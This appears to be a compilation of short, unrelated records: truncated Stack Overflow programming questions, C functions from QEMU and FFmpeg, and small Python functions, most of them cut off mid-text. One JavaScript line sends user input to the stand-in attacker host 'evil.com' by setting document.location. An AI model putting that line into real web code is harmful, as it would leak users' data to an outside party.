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Airbnb API key not unique per user : <p>I have been researching the Airbnb API and have started working with it and making some requests. Some API calls such as calendar_months require an API key: <a href="https://www.airbnb.com/api/v2/calendar_months?key=your_api_key&amp;listing_id=17794278&amp;_format=with_price" rel...
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static void vapic_map_rom_writable(VAPICROMState *s) { target_phys_addr_t rom_paddr = s->rom_state_paddr & ROM_BLOCK_MASK; MemoryRegionSection section; MemoryRegion *as; size_t rom_size; uint8_t *ram; as = sysbus_address_space(&s->busdev); if (s->rom_mapped_writable) { m...
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how to use the same theme that you bought? : im new in wordpress and i bought a theme from tavern and i want to use the same theme pictures and everything but when i install the theme i dont see the same pictures. [this is the theme that i bought][1] [this how it looks like when i install it][2] [1]: htt...
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static int parse_numa(void *opaque, QemuOpts *opts, Error **errp) { NumaOptions *object = NULL; Error *err = NULL; { OptsVisitor *ov = opts_visitor_new(opts); visit_type_NumaOptions(opts_get_visitor(ov), NULL, &object, &err); opts_visitor_cleanup(ov); } if (err) ...
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What 3d simulation software does deepmind use? : <p>I am looking for the name of simulation software used by Deepmind in <a href="https://www.youtube.com/watch?v=gn4nRCC9TwQ" rel="nofollow noreferrer">this video</a>? and what alternative softwares are available?</p>
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why i am getting this error in Spring mvc (Invalid mime type "json": does not contain '/')? : Getting Below error : EVERE: Context initialization failed org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandler...
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static int do_qmp_capabilities(Monitor *mon, const QDict *params, QObject **ret_data) { if (monitor_ctrl_mode(mon)) { mon->qmp.command_mode = 1; } return 0; }
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Flutter BottomNavigationBar not working with more than three items : <p>I´ve a problem with the <strong>BottomNavigationBar</strong> in Flutter (0.6). As soon as I add <strong>more then three BottomNavigationBarItems</strong> as children, the buttons in the bar have <strong>white icons and they are messed up</strong>. ...
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How can i split this string format to array for in javascript? : <p><p>Dear all, Currently am trying to split this string format: <code>x:10/08/2018,10/08/2018,10/08/2018~y:10,20,12</code> to array format like this:<p></p> <pre> [ { x:10/08/2018, y: 10 }, { x:10/08/2018, y: 20 }, { x:10/08...
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whats the advantages to use react js in asp.net core project? : <p>I want to build an accounting application by asp.net core and I want to know is that better to use react js for my app UI or there is no difference? Is that makes my work easier? (I am new in both asp.net core and react js.) thanks for answering :)</p>
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DISAS_INSN(wdebug) { if (IS_USER(s)) { gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); return; } qemu_assert(0, "WDEBUG not implemented"); }
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static void writer_print_ts(WriterContext *wctx, const char *key, int64_t ts, int is_duration) { if ((!is_duration && ts == AV_NOPTS_VALUE) || (is_duration && ts == 0)) { writer_print_string(wctx, key, "N/A", 1); } else { writer_print_integer(wctx, key, ts); } }
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How should make an unlimited unique username in SQL? : <p>How do I make an infinite number of lines unique? The system I'm using is currently <code>BIGINT(20)</code> but it also has a maximum limit. What approach should be taken? How do I make an unlimited number of rows unique?</p>
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static void pcie_pci_bridge_realize(PCIDevice *d, Error **errp) { PCIBridge *br = PCI_BRIDGE(d); PCIEPCIBridge *pcie_br = PCIE_PCI_BRIDGE_DEV(d); int rc, pos; pci_bridge_initfn(d, TYPE_PCI_BUS); d->config[PCI_INTERRUPT_PIN] = 0x1; memory_region_init(&pcie_br->shpc_bar, OBJECT(d), "shp...
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Getting different results for getStackTrace()[2].getMethodName() : <p>For logging purposes, I created a method logTitle() that prints out the calling method name for our TestNG tests. Sample code is below.</p> <pre><code>@Test public void test1() throws Exception { method1(); } public static void method1() throw...
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How to get specific part of url between two strings in jQuery : <p>I am trying to extract a specific ID from the url I have.</p> <p><a href="https://myhost.com/ReferredSummary.aspx?PolicyId=4807307&amp;EndorsementId=5941939&amp;EditExisting=true&amp;NewClient=true&amp;Adjustment=True" rel="nofollow noreferrer">https:/...
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How to use client side printer and scanner in ASP.Net c#? : <p>using client side printer and scanner in ASP.Net c#</p> <p>I m developing a web application in asp.net c# 4.0 , It will be hosted on shared server hosting. but i want to use client side printer. without out prompting print window to user.</p>
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PHP to convert longitude and latitude : I have loop that gives me a longitude and latitude for each client , I am looking for a function where I can pass these variables into and it will out northing and easting value. I have tried gPoint class but no joy. Foreach ($clients as $client) { ...
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Cannot fix date and month method - Android Studio : I have been fiddling around with this method that I created and cannot manage get it to work. I either get string cannot be converted to int or require return, but then I cannot enter the monthString variable in the return statement as it is out of scope and cannot fi...
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How to remove the defult comma from the start of an Array in Javascript : I have a variable pushing a word into an array. When I print this array onto a website the word starts with a comma in front! var bar = [""]; function myFunction2() { bar.push('pubs'); document.getElementById("demo").innerH...
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Fastest way to get a distributed spark cluster to parallelize a massive compressed local directory? : How can I get a distributed spark cluster to parallelize a massive compressed directory (1 terabyte uncompressed) of small text files, if that file is on one local machine? Ideally, this entire document would already b...
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git diff --name-status : What does R100 mean? : <p>When I do e.g. <code>git diff master --name-status</code> I see some lines with the <code>R100</code> prefix on them. </p> <p>What does <strong><code>R100</code></strong> exactly mean?</p> <hr> <p>I would assume <code>R</code> means "moved". I am posting below <a h...
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Select from one table where not in another mssql : hi i have `mssql` `server` db on my computer and there is tow `tables` this is the first one [Participant]SELECT [ParticipantID] ,[ParticipantName] ,[ParticipantNumber] ,[PhoneNumber] ,[Mobile] ...
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delete spevfic line from file [java] : i have a file that contains some data I want to delete some line from this file that contains specific substrings example for my file : {1:F21FIEGEGCXAXXX4781478239}{4:{177:1603150825}{451:0}} {1:F01FIEGEGCXAXXX4781478239} {2:O1030924160315RJHISARIAXXX83068856...
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uint32_t helper_efdctsi (uint64_t val) { CPU_DoubleU u; u.ll = val; if (unlikely(float64_is_nan(u.d))) return 0; return float64_to_int32(u.d, &env->vec_status); }
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Is there a site or app where you can get examples of code assignments? : <p>Okey, so here I'm learning coding (mostly PHP, and frontend dev). And I would like to know if there is a site where I can get an assignment like "make a calculator" or similar. </p> <p>So I can get inspiration for small projects while I'm lear...
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Creating a code to perform hundreds of google searches and extract publication date : <p>Using python, how can I create a script to performing hundreds of google searches to gather the publication dates of the first link.</p>
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Error:Could not find com.android.tools.build:gradle:3.3. Issue raise after upgrading gradle version for splunk:mint-android-sdk : <p>My App was working fine, then i add com.splunk:mint-android-sdk, which required upper version of gradle, so i upgrade the gradle to from 2.1 to 3.3. after that i am facing issues. Please ...
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static int read_header(AVFormatContext *s, AVFormatParameters *ap) { BinkDemuxContext *bink = s->priv_data; AVIOContext *pb = s->pb; uint32_t fps_num, fps_den; AVStream *vst, *ast; unsigned int i; uint32_t pos, next_pos; uint16_t flags; int keyframe; vst = av_new_stream(s...
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Need Help printing five random numbers (like dice throws) for computer and player. I need to use ( randomeValue= ) statement seen in code. : My code is only producing two random numbers and not five for player and computer like I need it to. Can anybody see the problem? <!-- begin snippet: js hide: false console: t...
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What does <None Remove="..." /> mean in csproj? : <p>I'm working with a dotnet core csproj and I've added a new file. It doesn't initially get added to the csproj at all because of convention over configuration. But as soon as I change its Build Action from None to Embedded resource, two entries are written to the cspr...
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vue: Uncaught TypeError: Cannot read property ... of undefined : <p>I'm using vue@2.1.3 and the <a href="https://github.com/vuejs-templates/webpack" rel="noreferrer">vue official webpack template</a> to build an app.</p> <p>When developing locally, I often see the warning <code>Uncaught TypeError: Cannot read property...
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C++ : Size of structure? : <p><strong>My c++ code</strong> </p> <pre><code>#include &lt;iostream&gt; using namespace std ; struct Node { int data ; struct Node *next; }; int main(){ struct Node *head = NULL; struct Node *second = NULL; cout &lt;&lt; sizeof(struct Node); } </code></pre> <p><stron...
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Enterprise Distribution Provisioning Profile Expiration : <p>Our company enterprise provisioning profile is set to expire in a month, <strong>but our distribution certificate is set to expire in a few more years.</strong> What are our options?</p> <p>Do I need to regenerate a new provisioning profile and create a new ...
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Reverse columns of a 2D : In python if my list is TheTextImage = [["111000"],["222999"]] How would one loop through this list creating a new one of NewTextImage = [["000111"],["999222"]] Can use [:] but not [::-1], and cannot use reverse()
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static int decode_lowdelay(DiracContext *s) { AVCodecContext *avctx = s->avctx; int slice_x, slice_y, bufsize; int64_t coef_buf_size, bytes = 0; const uint8_t *buf; DiracSlice *slices; SliceCoeffs tmp[MAX_DWT_LEVELS]; int slice_num = 0; if (s->slice_params_num_buf != (s->num_x...
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Get list of images from FIrebase Store : I want to get **list of images** which I uploaded manually in web Firebase console. Is there any way I can get list of all files without using FirebaseRecyclerAdapter?
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Why does my function return a 0 or 1 at the end? : <p>I wrote a program to determine if a student passes for exams. So it calculates the average and compares it with a limit and return it to the main.</p> <p>It works (Which is great) but i keep getting a 0 or a 1 after each output. Im guessing this has to do with the...
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VBA CODE to track the changes : I Need a VBA code which can track the changes with OLD sheet & NEW sheet with the values not by Cells,we have a Unique value which will be same in both sheets is in "Z"column.If any new no.will be found, it should Highlight as a new Order No.[This is the sheet screenshot in that Z column...
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void *iommu_dma_memory_map(DMAContext *dma, dma_addr_t addr, dma_addr_t *len, DMADirection dir) { int err; target_phys_addr_t paddr, plen; void *buf; if (dma->map) { return dma->map(dma, addr, len, dir); } plen = *len; err = dma->translate(dma...
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WordPress - How much of your sites content should be generated dynamically? : <p>I've been playing around with theme development in WordPress for a couple months now. I often find myself wondering how much of the sites content should be customizable by the client. Is it ok to have fixed html in your theme or should eve...
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static av_always_inline void vc1_apply_p_v_loop_filter(VC1Context *v, int block_num) { MpegEncContext *s = &v->s; int mb_cbp = v->cbp[s->mb_x - s->mb_stride], block_cbp = mb_cbp >> (block_num * 4), bottom_cbp, mb_is_intra = v->is_intra[s->mb_x - s->mb_stride], ...
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linq query for unique i'd collection based on one another coloumn value : i have collection ( data table contain three columns A,B & C WHICH has different values... i need a unique collection based on distinct column 'A' AND VALUE OF 'C' column AS Priority [Input Collection][1] [Required Collection][2] [1]...
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Can an object belong to two classes? : <p>Just started learning Java, through the "hello world" app, k learned about the object System.out.</p> <p>Out is an object, but to use it, we have to write system in front of it. It's obvious and my book says that out belongs to system class.</p> <p>But later in the book, my b...
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Detecting a system window overlaying an iframe : <p>After looking at <a href="https://www.youtube.com/watch?v=TzPq5_kCfow" rel="noreferrer">this youtube video</a> I was curious how some of the features shown, can be implemented with JS.</p> <p>One of my major questions is how can one detect another system window (like...
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PPC_OP(set_T1) { T1 = PARAM(1); RETURN(); }
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Null reference exception entity framewwork binding to WPF window : <p>I can't seem to figure out what I should/should not be doing with my binding. I have a WPF window that uses two way binding for a nested object. Primary object is Client the client object has Residential and Mailing addresses which are of type Addres...
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static void reclaim_ramblock(RAMBlock *block) { if (block->flags & RAM_PREALLOC) { ; } else if (xen_enabled()) { xen_invalidate_map_cache_entry(block->host); #ifndef _WIN32 } else if (block->fd >= 0) { munmap(block->host, block->max_length); close(block->fd); #endif...
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def sum_positivenum(nums): sum_positivenum = list(filter(lambda nums:nums>0,nums)) return sum(sum_positivenum)
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I have the exact same file directory but jupyter notebook is saying there is no such file or directory found : Here is the error: FileNotFoundError: [Errno 2] No such file or directory: 'Macintosh HD/Users/kishanpatel/Documents/Machine Learning Data/train.zip'
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Laravel 5.4 validation rules - optional, but validated if present; : <p>I'm trying to create a user update validation through form, where I pass, for example 'password'=>NULL, or 'password'=>'newone';</p> <p>I'm trying to make it validate ONLY if it's passed as not null, and nothing, not even 'sometimes' works :/</p> ...
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void net_slirp_hostfwd_remove(Monitor *mon, const QDict *qdict) { struct in_addr host_addr = { .s_addr = INADDR_ANY }; int host_port; char buf[256] = ""; const char *src_str, *p; SlirpState *s; int is_udp = 0; int err; const char *arg1 = qdict_get_str(qdict, "arg1"); const ...
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extracting string and add value to it : I have string like 1001.2001.3001.5001.6001 or 1001-2001-3001-5001-6001. In this how to extract 4th string i.e., 5001, add value like 121 to it and put it back in the same string. The output should be like 1001.2001.3001.5122.6001 or 1001-2001-3001-5122-6001. I have to achieve th...
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static void inline xan_wc3_copy_pixel_run(XanContext *s, int x, int y, int pixel_count, int motion_x, int motion_y) { int stride; int line_inc; int curframe_index, prevframe_index; int curframe_x, prevframe_x; int width = s->avctx->width; unsigned char *palette_plane, *prev_palette_...
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How to query list of objects with array as an argument in GraphQL : <p>I'm trying to query a list of objects having array of IDs. Something similar to following SQL query:</p> <pre><code>SELECT name FROM events WHERE id IN(1,2,3,...); </code></pre> <p>How do I achieve this in GraphQL?</p>
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static void gen_sllq(DisasContext *ctx) { int l1 = gen_new_label(); int l2 = gen_new_label(); TCGv t0 = tcg_temp_local_new(); TCGv t1 = tcg_temp_local_new(); TCGv t2 = tcg_temp_local_new(); tcg_gen_andi_tl(t2, cpu_gpr[rB(ctx->opcode)], 0x1F); tcg_gen_movi_tl(t1, 0xFFFFFFFF); tcg...
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static int init(AVFilterContext *ctx) { EvalContext *eval = ctx->priv; char *args1 = av_strdup(eval->exprs); char *expr, *buf; int ret, i; if (!args1) { av_log(ctx, AV_LOG_ERROR, "Channels expressions list is empty\n"); ret = eval->exprs ? AVERROR(ENOMEM) : AVERROR(EINVAL);...
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void ff_cavs_init_top_lines(AVSContext *h) { h->top_qp = av_malloc( h->mb_width); h->top_mv[0] = av_malloc((h->mb_width*2+1)*sizeof(cavs_vector)); h->top_mv[1] = av_malloc((h->mb_width*2+1)*sizeof(cavs_vector)); h->top_pred_Y = av_malloc( h->mb_width*2*sizeof(*h->top_pred_Y)); ...
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I need to split code in C for gausse elimination method : Hello I have to split code below on 4 four files (i'm working in visual studio). I really don't know how to do it, so I'm asking You guys for help. Thanks in advance. Header.H (which I have) main.c data.c solve.c #include<stdio.h> #inc...
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static void show_format(WriterContext *w, AVFormatContext *fmt_ctx) { char val_str[128]; int64_t size = fmt_ctx->pb ? avio_size(fmt_ctx->pb) : -1; print_section_header("format"); print_str("filename", fmt_ctx->filename); print_int("nb_streams", fmt_ctx->nb_streams); print_...
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scala infinite loop when replacing concret value by parameter name : I have a problem when trying to replace a concret value by the varibla name winthin an object. the easiest way to explain my problem is that this code works: val a = x.map{f => var c : Array[Int] = Array() if(f._2.size >= 5){ ...
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Selenium error: 'chromedriver' executable needs to be in PATH : <p>I have Chromium on my computer that runs Debian 9. Here's <code>scraper.py</code>:</p> <pre><code>from selenium import webdriver import time options = webdriver.ChromeOptions() options.add_argument("--ignore-certificate-errors") options.add_argument("...
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return null when get value from XML in SQL : <h1>return null , when use variable for get value in XML</h1> <pre><code> DECLARE @source nvarchar(2000); set @source = 'MinExpected' select MinimumExpectedProperties.value('(DepnaRoot[.= sql:variable("@source")]/Type)[1]','int') from tbl_AppWFTiming </code><...
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Check all varibales if one of them contains number : I need to check all variables if one of them contains number 6 def func(a, b, c, d, e, f): If True print Yes If False print No
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static void dirac_unpack_block_motion_data(DiracContext *s) { GetBitContext *gb = &s->gb; uint8_t *sbsplit = s->sbsplit; int i, x, y, q, p; DiracArith arith[8]; align_get_bits(gb); s->sbwidth = DIVRNDUP(s->source.width, 4*s->plane[0].xbsep); s->sbheight = DIVRNDUP(s->sour...
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static void gen_ld (CPUState *env, DisasContext *ctx, uint32_t opc, int rt, int base, int16_t offset) { const char *opn = "ld"; TCGv t0, t1; if (rt == 0 && env->insn_flags & (INSN_LOONGSON2E | INSN_LOONGSON2F)) { MIPS_DEBUG("NOP"); return; } ...
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Angular reactive forms set and clear validators : <p>Please assist, i want to remove all validators in form, Please advise if its possible or not and if not whats the better way to remove validators if you have a form Group of 20 or more form controls, see example below.</p> <pre><code> ngOnInit() { this.exampleFo...
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def is_Product_Even(arr,n): for i in range(0,n): if ((arr[i] & 1) == 0): return True return False
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plotly in R: Listing legend items horizontally and centered below a plot : <p>I have been tweaking legends in plotly and R. One thing I am unable to figure out is how (if it is possible) to reposition legend items so that they are listed horizontally and centered below the plot. The default legend items are positioned ...
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MySQL Error Nr. 1064 : MySQL Error Number. 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near... after the research then tri...
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static inline void RENAME(yuv2bgr24_1)(SwsContext *c, const uint16_t *buf0, const uint16_t *ubuf0, const uint16_t *ubuf1, const uint16_t *vbuf0, const uint16_t *vbuf1, const uint16_t *abuf0, uint8_t *...
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Automatically generate .factorypath on project import when using maven project in eclipse : <p>The <code>.factorypath</code> file is a generated file, which eclipse requires for annotation-processing. The m2eclipse plugin does generate this file when using "Update Maven Project" (Alt+F5) and checking "Update project co...
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static int opt_map(OptionsContext *o, const char *opt, const char *arg) { StreamMap *m = NULL; int i, negative = 0, file_idx; int sync_file_idx = -1, sync_stream_idx; char *p, *sync; char *map; if (*arg == '-') { negative = 1; arg++; } map = av_strdup(arg); ...
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Read parameters from file both to C and Python scripts : <p>I am new to C programming, and I am trying to have one parameters file that will be accessed by Python script and C script, so I would have to define the parameters in both scripts every run. For example, in C I have:</p> <pre><code>doublereal N,DB,DW,PP; N ...
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void qtest_add_func(const char *str, void (*fn)) { gchar *path = g_strdup_printf("/%s/%s", qtest_get_arch(), str); g_test_add_func(path, fn); }
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getting a number using regular expressions : <p>I have the following string:</p> <p>PR-1333|testtt</p> <p>I want to get the number 1333 using regular expressions in javascript. How can I do that? </p>
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static int mov_seek_stream(AVFormatContext *s, AVStream *st, int64_t timestamp, int flags) { MOVStreamContext *sc = st->priv_data; int sample, time_sample; int i; sample = av_index_search_timestamp(st, timestamp, flags); av_log(s, AV_LOG_TRACE, "stream %d, timestamp %"PRId64", sample %d\n", ...
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static uint32_t set_isolation_state(sPAPRDRConnector *drc, sPAPRDRIsolationState state) { trace_spapr_drc_set_isolation_state(spapr_drc_index(drc), state); if (state == SPAPR_DR_ISOLATION_STATE_ISOLATED) { g_free(drc->ccs); drc->ccs = NUL...
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void tcg_gen_ld8s_i64(TCGv_i64 ret, TCGv_ptr arg2, tcg_target_long offset) { tcg_gen_ld8s_i32(TCGV_LOW(ret), arg2, offset); tcg_gen_sari_i32(TCGV_HIGH(ret), TCGV_HIGH(ret), 31); }
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Choosing DB pool_size for a Flask-SQLAlchemy app running on Gunicorn : <p>I have a Flask-SQLAlchmey app running in Gunicorn connected to a PostgreSQL database, and I'm having trouble finding out what the <code>pool_size</code> value should be and how many database connections I should expect.</p> <p>This is my underst...
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replace an array with an additional element : I have an array with `id` and `des` elements. i want to add extra element like `value:0` in that array. So i have tried it with a loop and done it. let data = [ { "id": 1001, "des": "aaa" ...
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I have a device specific issue in my android app. image icon onclick a new fragment should get loaded but instead it navigates to Dashboard . : @Override public void onClick(View v) { switch (v.getId()) { case R.id.add_deal: Intent addDealIntent = new Intent(mC...
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how to know CSS-class of current node, JS : I wanted to do little menu for navigation in nodes.I have a model of site where i training in js. And my problem, how to display class of node in results block. I looked that i can display only a node name or a node type, but it's very uncomfortable and i just think if classe...
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setTimeout doesn't work when closure is included : <p>So I have this piece of code...</p> <pre><code> var string = 'qwe'; document.addEventListener('click', function(e){ function bar(b){ var a = string[b]; if (a == 'q') { console.log('first'); } if (a == 'w') { c...
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int ff_dxva2_commit_buffer(AVCodecContext *avctx, AVDXVAContext *ctx, DECODER_BUFFER_DESC *dsc, unsigned type, const void *data, unsigned size, unsigned mb_count) { void *dxva_data; unsigned dx...
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Chrome - You connection to this site is not fully secure : <p>I've recently had an SSL installed onto my server.</p> <p>I'm getting the "Your connection to this site is not fully secure" warning when using Chrome. I understand this relates to passive elements being loaded over a non secure connection and I understand ...
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How I can impute a specific row with mean in pandas? : I am trying to impute mean to a specific column in my data frame, the names of the columns are in a list. for col in ValIndex: #ValIndex has the columns name dataSet[col] = dataSet[col].fillna(dataSet[col].mean()) I get this error when I run my code: ...
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static inline int cris_lz(int x) { int r; asm ("lz\t%1, %0\n" : "=r" (r) : "r" (x)); return r; }
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void qemu_chr_info(Monitor *mon) { CharDriverState *chr; TAILQ_FOREACH(chr, &chardevs, next) { monitor_printf(mon, "%s: filename=%s\n", chr->label, chr->filename); } }
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cannot get the $_GET value in PHP : <p>i am passing values inthe URL by the $_GET :</p> <pre><code> &lt;a href="http://localhost/myFiles/confirmation.php?`pseudo='.$pseudo.'&amp;key'.$key.'"&gt;Confirmer votre compte&lt;/a&gt;` </code></pre> <p>i get the values in the URL of the concerned page like this :</p> <pre><...
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Why am I getting 'Terminated due to timeout' error here? : <p>I'm solving <a href="https://www.hackerrank.com/challenges/circular-array-rotation" rel="nofollow">this problem</a> on Hackerrank.</p> <p>John Watson performs an operation called a right circular rotation on an array of integers, [a[0],a[ 1]......a[n]].Afte...
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document.location = 'http://evil.com?username=' + user_input;
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how to assing array variable as a hash? : @array=(10,45,20); @sum=($array[0]+$array[1]+$array[2]); %hash; $hash{$array[0]}{$array[2]}=$sum[0] I'm trying to print this hash.As key1 is the array[0] ,key2 is array[1] and $sum[0] is the value.But hash couldn't work.What I'm doing wrong?
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ssize_t v9fs_iov_vunmarshal(struct iovec *out_sg, int out_num, size_t offset, int bswap, const char *fmt, va_list ap) { int i; ssize_t copied = 0; size_t old_offset = offset; for (i = 0; fmt[i]; i++) { switch (fmt[i]) { case 'b': { uint8...
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No img-responsive in Bootstrap 4 : <p>I just downloaded the source code for Bootstrap 4 alpha 2 and can't find the class <code>img-responsive</code> in it. It exists in Bootstrap 3 source code and I can find it with Notepad++ but in Bootstrap 4s <code>bootstrap.css</code> in <code>dist</code> folder it doesn't exist.</...
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What does :scope "provided" mean? : <p>I've seen a lot of places where some dependencies in Clojure project are marked with <code>:scope "provided"</code> (<a href="https://github.com/funcool/cats/blob/d1b7f3d60c7791798182937c54cbafa4e81536d4/project.clj#L6-L12" rel="noreferrer">example</a>).</p> <p>What does it mean?...
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mysql select count long query time : 3 million table records, select count query time is 0.6 seconds 3.2 million table records, select count query time is 8.4 seconds (200,000 new records) 3 million table records, select count query time is 8.4 seconds (delete 200,000 records) 1.2 million table records, select...
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How do I add a description to a field in "GraphQL schema language" : <p>I have a graphql schema, a fragment of which looks like this:</p> <pre><code>type User { username: String! password: String! } </code></pre> <p>In graphiql, there is a description field, but it always says "self-descriptive". How do I add...
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Regex to find digits group after a text match : <p>I have tried many regex expressions but unable to get the desired output. My string is </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprin...
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How Can I consume this Json using React-Native? : <p>i'd like to know how can I use and consume this json, showing and updading always the list, please i need this for my work and i am struggling to make it.</p> <p><a href="https://i.stack.imgur.com/Za5Hs.png" rel="nofollow noreferrer">HERE THE JSON</a></p>
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